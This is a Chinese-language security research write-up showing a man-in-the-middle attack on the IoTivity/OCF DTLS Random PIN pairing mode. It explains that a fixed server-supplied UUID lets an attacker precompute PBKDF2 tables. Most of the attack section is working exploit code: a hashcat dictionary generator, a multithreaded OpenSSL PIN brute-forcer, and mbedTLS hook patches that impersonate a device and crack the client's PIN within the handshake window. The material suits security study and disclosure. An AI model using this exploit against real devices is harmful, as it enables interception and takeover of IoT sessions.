前言
IoTivity 是物聯網(IoT)標准的開源實現,該標准由 Open Connectivity Foundation(OCF)組織制定。
同時支持 IP、BLE、BT、TCP 及 NFC 等多種連接方式。
並且兼容 Ubuntu、Android、Tizen 和 Arduino 等環境。
本文將對 IoTivity 所采用的 DTLS 安全連接協議進行中間人攻擊。
IoTivity 框架結構

低功耗藍牙(BLE)概述
HCI:藍牙鏈路控制層
GATT:服務和屬性控制層
Service:設備提供的服務
Characteristic:服務提供的接口,一般會提供多種方法,比如 Write、Read、Notify 等
中間人攻擊(MITM)概述
中間人攻擊(Man In The Middle,簡稱 MITM)是指攻擊者與通訊的兩端分別創建獨立的聯系,並交換其所收到的數據,使通訊的兩端認為他們正在通過一個私密的連接與對方直接對話,但事實上整個會話都被攻擊者完全控制。
根據中間人是否對通信內容進行篡改,又可分為主動的中間人攻擊和被動的中間人攻擊。
通信加密(DTLS)概述
IoTivity 框架下,設備的連接方式有三種,分別是 Just Works、Random PIN 和 Manufacturer Certificate。
這三種連接方式均采用 ECDH(E)作為密鑰協商算法,可以有效抵擋被動的中間人攻擊,並保證連接的前向安全性。
通信協議采用的是 DTLS,是基於 UDP 連接方式的 TLS 實現,所用的加密套件和 TLS 相同。
Just Works
此模式使用 TLS_ECDH_anon_WITH_AES_128_CBC_SHA256 加密套件,無法抵擋主動的中間人攻擊。
在這個工作模式下,通信雙方不需要設置預共享密鑰或證書,即可直接建立起 TLS 連接。
優點是連接方便,適用於沒有顯示功能的藍牙設備。
缺點是連接的安全性沒有保證。
Random PIN
此模式使用 TLS_ECDHE_PSK_WITH_AES_128_CBC_SHA256 加密套件,可以在一定程度上抵擋主動的中間人攻擊,安全性取決於 PIN 的復雜程度。
由服務端生成 8 位數字 PIN,並通過安全信道(Out Of Band,簡稱 OOB)將其分發給客戶端,隨后 PIN 會用於 TLS 加密套件的的認證過程。
舉個例子,通過電視屏幕來顯示 PIN 就是一種 OOB 的方案,只需要保證中間人得不到這個 PIN 即可。
優點是每次使用的 PIN 都是隨機生成的,這種連接方式有比較高的安全性,而且連接方式比較簡單。
一般來說,最常用的連接方法就是 Random PIN 了。
Manufacturer Certificate
此模式使用 MBEDTLS_TLS_ECDHE_ECDSA_WITH_AES_128_CCM_8 加密套件,無法抵擋主動的中間人攻擊。
服務端和客戶端需要提前配置好 ECDSA 證書,隨后 ECDSA 證書會用於 TLS 加密套件的的認證過程。
缺點是證書容易泄露,無法保證連接的安全性,而且配置證書的過程比較繁瑣。
基於BLE的協議棧
DTLS:負責通信加密
CoAP:負責傳輸控制
GATT:負責提供藍牙接口
HCI:負責藍牙鏈路控制
中間人攻擊
下面將以 Random PIN 連接方式為例,通過 Hook mbedTLS 中的相關函數,對 TLS_ECDHE_PSK 加密套件進行中間人攻擊。
TLS_ECDHE_PSK 握手過程

Client Hello:包含 Client Random
Server Hello:包含 Server Random
Server Key Exchange:包含 Server UUID 和 Server Public Key
Client Key Exchange:包含 Client UUID 和 Client Public Key
Client Finish:計算握手信息的 HMAC_SHA256 摘要,並使用 AES 密鑰對其進行加密,再將 AES 加密所用的 IV 附在前面
Client Finish 的生成過程
Client Finish 的依賴關系
中間人攻擊過程

在已知:
的前提下,我們可以通過暴力嘗試來找到 PIN 滿足:
從而與真正的 Client 和 Server 完成連接,進而監聽整個會話信息。
密碼學誤用
注意在 OCF 制定的標准中,生成 PSK 所用的 UUID 是 Server 提供的,因此 Attacker 作為假 Server 可以在握手的時候提供一個固定的 UUID,這樣就可以通過提前打表來繞過 PBKDF2 的迭代過程,從而減少破解 PIN 所需要的時間。
部分攻擊代碼
這里為了方便演示只暴力嘗試以 00 開頭的 PIN,破解用時不到 1 秒,平均每秒嘗試 \(10^6\) 次。
考慮到實際連接中超時時間通常設置為 60 秒,所以理論上可以在窗口時間內破解出任何 PIN ,只需要增加字典的數目即可。
使用 GPU 對 PBKDF2 進行打表(需要 Hashcat 環境)
m10900-pure.cl
KERNEL_FQ void m10900_comp (KERN_ATTR_TMPS_ESALT (pbkdf2_sha256_tmp_t, pbkdf2_sha256_t))
{
const u64 gid = get_global_id (0);
if (gid >= gid_max) return;
const u64 lid = get_local_id (0);
const u32 r0 = tmps[gid].out[0];
const u32 r1 = tmps[gid].out[1];
const u32 r2 = tmps[gid].out[2];
const u32 r3 = tmps[gid].out[3];
const u32 r4 = tmps[gid].out[4];
const u32 r5 = tmps[gid].out[5];
const u32 r6 = tmps[gid].out[6];
const u32 r7 = tmps[gid].out[7];
printf("%08x%08x %08x%08x%08x%08x%08x%08x%08x%08x\n",hc_swap32_S(pws[gid].i[0]),hc_swap32_S(pws[gid].i[1]),r0,r1,r2,r3,r4,r5,r6,r7);
}
gendict.cpp
#include <cstdio>
#include <cstdlib>
char cmd[1024];
// HASH = PBKDF2-HMAC-SHA256
// PIN = 00000000 ~ 99999999
// UUID = 00000000000040004000000000000000
// ITER = 1000
char fmt[]="del kernels\\m10900-*&hashcat --force --quiet --keep-guessing --self-test-disable --potfile-disable -m 10900 -a 3 sha256:1000:AAAAAAAAQABAAAAAAAAAAA==:0000000000000000000000 %02d?d?d?d?d?d?d > dict\\dict%02d.txt";
int main(){
for (int i=0;i<1;i++){ //100
sprintf(cmd,fmt,i,i);
printf("%d\n",i);
system(cmd);
}
}
多線程暴力嘗試 PIN(需要 OpenSSL 環境)
oc_brute.c
#include <openssl/conf.h>
#include <openssl/evp.h>
#include <openssl/err.h>
#include <openssl/hmac.h>
#include <string.h>
#include <pthread.h>
int debug=0;
unsigned char pin[1000000][8],psk[1000000][16];
unsigned char _pin[16+1],_psk[64+1];
// Public IN
typedef struct brute_t{
unsigned char label1[32];
unsigned char label2[32];
unsigned char label3[32];
unsigned char z[32];
unsigned char padbuf[32];
unsigned char randbytes[64];
unsigned char iv[16];
unsigned char cipher[64];
}brute_t;
brute_t brute_in;
// Public OUT
unsigned char *brute_out;
pthread_t plist[100];
unsigned char *HMAC(const EVP_MD *evp_md, const void *key, int key_len,
const unsigned char *d, size_t n, unsigned char *md,
unsigned int *md_len);
void hexlify(unsigned char *buf,int len)
{
for (int i=0;i<len;i++)
printf("%02x",buf[i]);
printf("\n");
}
void handleErrors()
{
//printf("ERR\n");
}
void PRF(const EVP_MD *evp_md,
unsigned char *secret, size_t slen,
unsigned char *label,
unsigned char *randombytes, size_t rlen,
unsigned char *dstbuf, size_t dlen )
{
size_t nb;
size_t i, j, k, md_len;
unsigned char tmp[128];
unsigned char h_i[32];
HMAC_CTX *md_ctx=HMAC_CTX_new();
unsigned int _md_len;
md_len = EVP_MD_size( evp_md );
nb = strlen( (char*)label );
memcpy( tmp + md_len, label, nb );
memcpy( tmp + md_len + nb, randombytes, rlen );
nb += rlen;
/*
* Compute P_<hash>(secret, label + brute_in.randbytesom)[0..dlen]
*/
HMAC_Init_ex( md_ctx, secret, slen, evp_md, NULL );
HMAC_Update( md_ctx, tmp + md_len, nb );
HMAC_Final( md_ctx, tmp, &_md_len );
// HMAC_Init_ex() initializes or reuses a B<HMAC_CTX> structure to use the hash
// function B<evp_md> and key B<key>. If both are NULL, or if B<key> is NULL
// and B<evp_md> is the same as the previous call, then the
// existing key is
// reused. B<ctx> must have been created with HMAC_CTX_new() before the first use
// of an B<HMAC_CTX> in this function.
for( i = 0; i < dlen; i += md_len )
{
HMAC_Init_ex( md_ctx, NULL, slen, NULL, NULL );
HMAC_Update( md_ctx, tmp, md_len + nb );
HMAC_Final( md_ctx, h_i, &_md_len );
HMAC_Init_ex( md_ctx, NULL, slen, NULL, NULL );
HMAC_Update( md_ctx, tmp, md_len );
HMAC_Final( md_ctx, tmp, &_md_len );
k = ( i + md_len > dlen ) ? dlen % md_len : md_len;
for( j = 0; j < k; j++ )
dstbuf[i + j] = h_i[j];
}
HMAC_CTX_free( md_ctx );
}
int decrypt(unsigned char *ciphertext, int ciphertext_len, unsigned char *key,
unsigned char *iv, unsigned char *plaintext)
{
EVP_CIPHER_CTX *ctx;
int len;
int plaintext_len;
/* Create and initialise the context */
if(!(ctx = EVP_CIPHER_CTX_new()))
{handleErrors();}
/*
* Initialise the decryption operation. IMPORTANT - ensure you use a key
* and brute_in.iv size appropriate for your cipher
* In this example we are using 128 bit AES (i.e. a 128 bit key). The
* brute_in.iv size for *most* modes is the same as the block size. For AES this
* is 128 bits
*/
if(1 != EVP_DecryptInit_ex(ctx, EVP_aes_128_cbc(), NULL, key, iv))
{handleErrors();}
/*
* Provide the message to be decrypted, and obtain the plaintext output.
* EVP_DecryptUpdate can be called multiple times if necessary.
*/
if(1 != EVP_DecryptUpdate(ctx, plaintext, &len, ciphertext, ciphertext_len))
{handleErrors();}
plaintext_len = len;
/*
* Finalise the decryption. Further plaintext bytes may be written at
* this stage.
*/
if(1 != EVP_DecryptFinal_ex(ctx, plaintext + len, &len))
{handleErrors();}
plaintext_len += len;
/* Clean up */
EVP_CIPHER_CTX_free(ctx);
return plaintext_len;
}
void checkPIN(unsigned char *pin, unsigned char *psk)
{
unsigned char plain[64];
unsigned char iv[16];
memcpy(iv,brute_in.iv,16);
// premaster = {lenbrute_in.z, brute_in.z, lenPSK, PSK}
unsigned char pms[52];
pms[0]=0;pms[1]=32;
memcpy(pms+2,brute_in.z,32);
pms[34]=0;pms[35]=16;
memcpy(pms+36,psk,16);
if (debug) {printf("pms : ");hexlify(pms,52);}
// master = PRF(EVP_sha256(),pms, "extended master secret", brute_in.padbuf, 32, master, 48)
unsigned char master[48];
PRF(EVP_sha256(),pms,52,brute_in.label1,brute_in.padbuf,32,master,48);
if (debug) {printf("master : ");hexlify(master,48);}
// keyblk = PRF(EVP_sha256(),master, "key expansion", brute_in.randbytesbytes_after_swap, 64, keyblk, 128)
unsigned char keyblk[256];
//只需要把key算出來即可,不需要把256字節都算完
PRF(EVP_sha256(),master,48,brute_in.label2,brute_in.randbytes,64,keyblk,80); //256);
if (debug) {printf("keyblk : ");hexlify(keyblk,256);}
// hash = PRF(EVP_sha256(),master, "client finished", brute_in.padbuf, 32, hash, 12)
unsigned char hash[12];
PRF(EVP_sha256(),master,48,brute_in.label3,brute_in.padbuf,32,hash,12);
if (debug) {printf("hash : ");hexlify(hash,12);}
// keyblock(:128) = {mac_dec(32), mac_enc(32), key2(16), key1(16), brute_in.iv_dec(16), brute_in.iv_enc(16)}
unsigned char key[16];
memcpy(key,keyblk+64,16);
if (debug) {printf("key : ");hexlify(key,16);}
// Decrypt the ciphertext
decrypt(brute_in.cipher, 64, key, iv, plain);
if (debug) {printf("plain : ");hexlify(plain,64);}
// Verify
if (debug) {
hexlify(hash,12);
hexlify(plain+12,12);
printf("\n");
}
if (!memcmp(hash,plain+12,12)){
printf("PIN : %.8s\n",pin);
brute_out=pin;
}
}
void unhex(unsigned char *dst,unsigned char *src,int dlen){
for (int i=0,j=0;i<dlen;i++,j+=2){
dst[i]=(src[j]>='a'?src[j]-'a'+10:src[j]-'0')*0x10+(src[j+1]>='a'?src[j+1]-'a'+10:src[j+1]-'0');
}
}
void precheckPIN(void *idx){
for (int i=((long long)idx*100000);i<(((long long)idx+1)*100000);i++){
if (brute_out!=NULL) return;
checkPIN(pin[i],psk[i]);
}
}
void brute(){
printf("brute start\n");
memcpy(brute_in.label1,"\x65\x78\x74\x65\x6e\x64\x65\x64\x20\x6d\x61\x73\x74\x65\x72\x20\x73\x65\x63\x72\x65\x74",22);
memcpy(brute_in.label2,"\x6b\x65\x79\x20\x65\x78\x70\x61\x6e\x73\x69\x6f\x6e",13);
memcpy(brute_in.label3,"\x63\x6c\x69\x65\x6e\x74\x20\x66\x69\x6e\x69\x73\x68\x65\x64",15);
// infomation
printf("Brute : \n");
hexlify(brute_in.label1,22);
hexlify(brute_in.label2,13);
hexlify(brute_in.label3,15);
hexlify(brute_in.z,32);
hexlify(brute_in.padbuf,32);
hexlify(brute_in.randbytes,64);
hexlify(brute_in.iv,16);
hexlify(brute_in.cipher,64);
// read dict
FILE *ret=freopen("/home/byaidu/iot-lite/dict/dict00.txt","r",stdin);
if (ret==NULL) return;
for (int i=0;i<1000000;i++){
int rets=scanf("%s %s",_pin,_psk);
if (rets==0) return;
unhex(pin[i],_pin,8);
unhex(psk[i],_psk,16);
}
// alloc 10 task
for (long long i=0;i<10;i++){
pthread_create(&plist[i], NULL, (void * (*)(void *))&precheckPIN, (void *)i);
}
// wait task
for (int i=0;i<10;i++){
pthread_join(plist[i],NULL);
}
if (brute_out!=NULL) {
printf("succeed\n");
}else{
printf("failed\n");
brute_out=(unsigned char*)"00000000";
}
}
oc_exp.c
#include <unistd.h>
#include "oc_brute.c"
#define lenHdr 12
#define lenPIN 8
#define lenUUID 0x10
#define lenPSK 0x10
#define lenEncMsg 0x50
#define lenMsg 12
#define lenRandbytes 64
static unsigned char UUID[lenUUID];
static unsigned char PSK[lenPSK];
static unsigned char hash[lenMsg];
static unsigned char randbytes[lenRandbytes];
extern brute_t brute_in;
extern int oc_tls_pbkdf2(const unsigned char *pin, size_t pin_len, oc_uuid_t *uuid,
unsigned int c, uint8_t *key, uint32_t key_len);
extern int ssl_decrypt_buf( mbedtls_ssl_context *ssl );
extern void ssl_calc_finished_tls_sha256(mbedtls_ssl_context *ssl, unsigned char *buf, int from );
extern int mbedtls_ssl_psk_derive_premaster( mbedtls_ssl_context *ssl, mbedtls_key_exchange_type_t key_ex );
extern int mbedtls_ssl_derive_keys( mbedtls_ssl_context *ssl );
int firstconnect=1;
extern void hexlify(unsigned char *buf,int len);
int check_PIN(mbedtls_ssl_context *ssl){
//remind to use Randbyes (after swap) here
memcpy( brute_in.randbytes, randbytes + 32, 32 );
memcpy( brute_in.randbytes + 32, randbytes, 32 );
brute();
//brute_out=(unsigned char*)"00000000";
// 根據UUID和PIN計算PSK
oc_uuid_t _UUID;
memcpy(_UUID.id,UUID,lenUUID);
// PIN = brute_out
oc_tls_pbkdf2(brute_out,lenPIN,&_UUID,1000,PSK,lenPSK);
printf("# PIN : ");hexlify(brute_out,lenPIN);
printf("# UUID : ");hexlify(UUID,lenUUID);
printf("# PSK : ");hexlify(PSK,lenPSK);
// 設置PSK
mbedtls_ssl_set_hs_psk(ssl,PSK,16);
// 根據PSK和Z計算PMS
mbedtls_ssl_psk_derive_premaster(ssl,MBEDTLS_KEY_EXCHANGE_ECDHE_PSK);
// 根據PMS計算Master,KeyBlock,lenIV並設置Transform
mbedtls_ssl_derive_keys(ssl);
// Cacl HMAC_SHA256 After derive keys
ssl_calc_finished_tls_sha256(ssl,hash,MBEDTLS_SSL_IS_CLIENT);
// 應用Transform
ssl->transform_in = ssl->transform_negotiate;
ssl->session_in = ssl->session_negotiate;
return 0;
}
// Modify / Brute PIN of HandShake and Verify PIN with EncMsg
// Callback From : mbedtls_ssl_parse_finished
int mbedtls_ssl_parse_finished_cb( mbedtls_ssl_context *ssl ){
//fix the position of record
ssl->in_msg+=16;
// 2 bytes offset between in_msg & iv
memcpy(brute_in.iv,ssl->in_msg-2,16);
memcpy(brute_in.cipher,ssl->in_msg+16-2,64);
// calc z & padbuf for brute_in
size_t zlen;
mbedtls_ecdh_calc_secret( &ssl->handshake->ecdh_ctx, &zlen,
brute_in.z, 32,
ssl->conf->f_rng, ssl->conf->p_rng );
mbedtls_sha256_context sha256;
mbedtls_sha256_init( &sha256 );
mbedtls_sha256_clone( &sha256, &ssl->handshake->fin_sha256 );
mbedtls_sha256_finish_ret( &sha256, brute_in.padbuf );
// Save Randbytes
memcpy(randbytes,ssl->handshake->randbytes,lenRandbytes);
// Brute PIN
check_PIN(ssl);
return 0;
}
// Get UUID of HandShake
// Callback From : ssl_parse_client_psk_identity / get_psk_cb
int ssl_parse_client_psk_identity_cb( unsigned char *oc_PIN, unsigned char *ocUUID ){
// read UUID set by app
memcpy(UUID,ocUUID,lenUUID);
// do something to skip warning
memcpy(oc_PIN,"00000000",lenPIN);
return 0;
}
oc_tls.c
+ if (firstconnect) ssl_parse_client_psk_identity_cb(PIN, (unsigned char *)&doxm->deviceuuid);
if (oc_tls_pbkdf2(PIN, PIN_LEN, &doxm->deviceuuid, 1000, key, 16) != 0) {
OC_ERR("oc_tls: error deriving PPSK");
return -1;
}
ssl_srv.c
+ if (firstconnect){
+ ssl->state++;
+ return( 0 );
+ }
MBEDTLS_SSL_DEBUG_ECDH( 3, &ssl->handshake->ecdh_ctx,
MBEDTLS_DEBUG_ECDH_QP );
case MBEDTLS_SSL_HANDSHAKE_WRAPUP:
mbedtls_ssl_handshake_wrapup( ssl );
+ firstconnect=0;
break;
ssl_tls.c
int mbedtls_ssl_parse_finished( mbedtls_ssl_context *ssl )
{
+ if (firstconnect) mbedtls_ssl_parse_finished_cb(ssl);
api_oc_uuid.c
void
oc_gen_uuid(oc_uuid_t *uuid)
{
int i;
uint32_t r;
for (i = 0; i < 4; i++) {
- r = oc_random_value();
+ r=0;
memcpy((uint8_t *)&uuid->id[i * 4], (uint8_t *)&r, sizeof(r));
}
基於 IP 協議棧的攻擊
下面將演示中間人在提前不知道握手所用的 PIN 的前提下,僅通過部分握手報文來破解出 PIN,並使用這個 PIN 來完成剩下的握手過程。
因為 IoTivity 對 Linux 的藍牙支持不太友好,所以最后就只做了本地 TCP/IP 回路上的測試。
首先在 Loopback 上開啟 Client 和 Attacker。
在 Client 使用 Discover 功能搜索 Attacker,然后點擊 Onboard 進行連接。

注意這里的連接模式要選 Random PIN。

隨意填寫一個 PIN,比如 00777777。

稍等片刻,Attacker 在終端輸出 PIN : 00777777,代表成功破解出 Client 所用的 PIN。

隨后 Client 彈出窗口提示成功連接設備。

連接成功后可以在 Client 查看 Attacker 的詳細信息。

工具
nRF Connect
一款非常強大的 App,支持 iOS 和 Android,可以在手機上查看周圍任何藍牙設備的生產商信息、Service 以及 Characteristic 等,同時支持對 Characteristic 的各種操作。
UWP
微軟的 UWP 框架提供了藍牙功能,而且開發流程非常簡單,但是受限於 Windows 藍牙棧,絕大多數的設備屬性都沒有辦法修改,不推薦。
Noble / Bleno
用於 BLE 通信的 Node.js 模塊,支持 Mac OS X, Linux, FreeBSD 以及 Windows 等系統,而且對硬件有要求。
BlueZ
包含 Linux 下的藍牙的開發環境和工具集,包括 hcitool、gatttool 以及 bluetoothctl,下面的這些項目都是基於 BlueZ 來實現的,但是 BlueZ 是針對 GATT 協議層的工具,如果 GATT 協議層之上還有很多層協議的話,直接使用這個工具就顯得不是很合適了。
PyBluez/BluePy
提供 BlueZ 的 Python 封裝接口。
Ubertooth
可以用於藍牙監聽的設備,黑色的 PCB 造型非常酷,但是必須要吐槽一下,丟包實在是太嚴重了,而且只能做被動監聽,不推薦。
Bettercap
雖然文檔寫的不錯,但是提供的功能非常少,只能用來發包開個藍牙鎖,可以看成是個玩具級產品,不推薦。
Gattacker/Btlejuice
這兩個工具都是基於 noble 的項目,可以完整實現藍牙的中間人攻擊,並且提供了 Python 和 Node.js 的 Bindings,不過它們都是針對 GATT 協議層的工具。
參考文章
OCF Security Standards : https://openconnectivity.org/specs/OCF_Security_Specification_v2.1.2.pdf
Server Key Exchange : https://tools.ietf.org/html/rfc4492#section-5.4
ECDHE_PSK Key Exchange Algorithm : https://tools.ietf.org/html/rfc5489#section-2
DHE_PSK Key Exchange Algorithm : https://tools.ietf.org/html/rfc4279#section-3
ECDHE : https://blog.csdn.net/mrpre/article/details/78025940
ECPoint : https://www.cnblogs.com/xinzhao/p/8963724.html
DTLS Sample : https://wiki.wireshark.org/DTLS
mbedTLS : https://github.com/ARMmbed/mbedtls
IoTivity : https://github.com/iotivity/iotivity-lite
BlueZ : http://www.bluez.org/
BlueZ Document : https://core.docs.ubuntu.com/en/stacks/bluetooth/bluez/docs/
PyBluez : https://github.com/pybluez/pybluez
